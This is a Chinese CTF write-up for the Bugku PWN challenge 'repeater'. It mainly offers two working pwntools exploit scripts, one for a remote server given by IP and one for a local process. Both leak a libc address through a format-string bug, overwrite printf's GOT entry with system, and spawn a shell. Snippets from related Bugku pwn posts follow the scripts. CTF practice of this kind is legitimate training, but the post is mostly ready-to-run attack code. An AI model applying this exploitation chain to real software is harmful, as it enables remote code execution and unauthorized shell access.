bugku PWN repeater

bugku PWN repeater题目分享一个能用的exp

Remote

from pwn import*
from LibcSearcher import LibcSearcher
# context.log_level = "debug"
elf = ELF("./pwn7")
io = remote("114.67.175.224","xxxx")
puts_got = elf.got["puts"]# pwndbg得到参数偏移为6
payload1 = p32(puts_got) + b"%6$s"
io.recvuntil("Do you know repeater?\n")
io.send(payload1)
puts_addr = u32(io.recv(8)[-4:])   #取后四位字节作为地址
print(hex(puts_addr))
libc = LibcSearcher("puts", puts_addr) #如果找到多个版本，运行后会提示让选择版本
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))printf_got = elf.got["printf"]
system_addr = libc_base + libc.dump("system")# printf的GOT表项改为system函数地址
payload2 = fmtstr_payload(6,{printf_got : system_addr})
io.sendline(payload2)
io.sendline("/bin/sh\00")
io.interactive()

Local

from pwn import*
# context.log_level = "debug"
elf = ELF("./pwn7")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process('./pwn7')
puts_got = elf.got["puts"]pd = p32(puts_got) + b"%6$s"
io.recvuntil("Do you know repeater?\n")
io.send(pd)
puts_addr = u32(io.recv(8)[-4:])   #取后四位字节地址
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))printf_got = elf.got["printf"]
system_addr = libc_base + libc.sym["system"]# printf的GOT数据改为system函数地址
payload = fmtstr_payload(6,{printf_got : system_addr})
print(payload)
io.sendline(payload)
io.sendline("/bin/sh\00")
io.interactive()

获取到本地shell

bugku PWN repeater相关推荐

[BUGKU] [PWN] PWN5
[BUGKU] [PWN] PWN5 先下载文件,拉入UBUNTU,checksec检查一下 checksec human 架构是amd64,并开启了NX(堆栈可执行,16进制地址后六位不变,其余运行 ...
[Bugku CTF——Pwn] pwn2
[Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...
[Bugku CTF——Pwn] pwn4
[Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护那就绕过就好题目当中有system函数利用ROPgadge ...
[Bugku CTF——Pwn] pwn1
[Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷无语凝噎 cat f ...
记一次bugku awd的pwn解
今天晚上6点30闲得没事,随便逛逛的时候看到了bugku awd有战队开了房间,想着没什么事就报名玩了玩,不过pwn题还是很有意思的. 连上去发现是个堆题...再一看加固时间20分钟....(瞬间无语 ...
Bugku S3 AWD排位赛-4 pwn
Bugku S3 AWD排位赛-4 pwn 吐槽一下,好几个战队什么都没干的突然飞到前10,一轮开始几秒之后一个队直接飞到8千多分,pwn打完一轮从第二轮就打不了了.....对pwn手极度不友好设计 ...
Bugku S3 AWD排位赛-5 pwn
Bugku S3 AWD排位赛-5 pwn 栈溢出,直接ret2text from pwn import *context(arch='amd64', os='linux', log_level='d ...
Bugku S3 AWD排位赛-1 pwn
bugku awd s3排位赛1 pwn解利用格式化漏洞改a64l为system,v4传入/bin/sh即可getshell 因为s只能32,所以偏移可以采用gdb调试出来 from pwn imp ...
Bugku S3 AWD排位赛-2 pwn
Bugku S3 AWD排位赛-2 pwn 保护全开可以通过s溢出改掉v5,满足条件即可 from pwn import *context(arch='i386', os='linux', log_ ...

bugku PWN repeater

bugku PWN repeater相关推荐

最新文章

热门文章